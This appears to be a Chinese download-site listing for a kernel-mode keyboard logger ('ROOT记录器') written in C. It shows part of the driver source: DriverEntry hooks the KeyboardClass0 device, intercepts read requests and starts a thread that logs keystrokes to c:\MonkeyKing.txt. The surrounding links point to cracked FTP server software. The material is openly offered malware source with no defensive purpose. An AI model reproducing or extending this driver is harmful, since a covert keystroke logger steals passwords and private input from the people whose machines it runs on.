-
hook通过驱动程序方式注入到内核源代码中
资源介绍
C语言写的ROOT记录器,编译通过了.#include "stdafx.h"
#include "ScanCode.h"
#include "DriverEntry.h"
#include
const WCHAR *DEVICE_NAME = L"\\Device\\MonkeyKingDeviceName";
const WCHAR *SYMOBL_NAME = L"\\??\\MonkeyKingSymbolicName";
const char *NT_DEVICE_NAME = "\\Device\\KeyboardClass0";
const char *LOG_FILE_NAME = "\\DosDevices\\c:\\MonkeyKing.txt";
int numPendingIrps = 0;
/*---------------------------------------------------------------------------------------------------------------------------------------------*/
/************************************************************************
* 函数名称:DriverEntry
* 功能描述:初始化驱动程序,定位和申请硬件资源,创建内核对象
* 参数列表:
pDriverObject:从I/O管理器中传进来的驱动对象
pRegistryPath:驱动程序在注册表的中的路径
* 返回 值:返回初始化驱动状态
*************************************************************************/
STDAPI_(NTSTATUS) DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath )
{
NTSTATUS retValue = STATUS_SUCCESS;
TRACEMSG("初始化例程...");
pDriverObject->DriverUnload = OnUnload;
for (INT32 i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++){
pDriverObject->MajorFunction[i] = DispatchHandler;
}
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
TRACEMSG("初始化例程...完成");
//创建设备。
TRACEMSG("创建设备...");
PDEVICE_OBJECT pKeyboardDevice = NULL;
if (!NT_SUCCESS(retValue = CreateDevice(pDriverObject, &pKeyboardDevice)))
{
TRACEMSG("创建设备...失败");
return retValue;
}
TRACEMSG("创建设备...完成。键盘设备对象指针为:0x%x", pKeyboardDevice);
//挂接设备。
TRACEMSG("挂接设备...");
if (!NT_SUCCESS(retValue = HookKeyboard(pKeyboardDevice)))
{
TRACEMSG("挂接设备...失败");
return retValue;
}
TRACEMSG("挂接设备...完成");
TRACEMSG("初始化线程...");
if (!NT_SUCCESS(retValue = InitThreadLogger(pDriverObject)))
{
TRACEMSG("初始化线程...失败");
return retValue;
}
TRACEMSG("初始化线程...完成");
- 上一篇: Serv-U9.4.0.0绿色中文破解版.rar
- 下一篇: Serv-U9(FTP服务).rar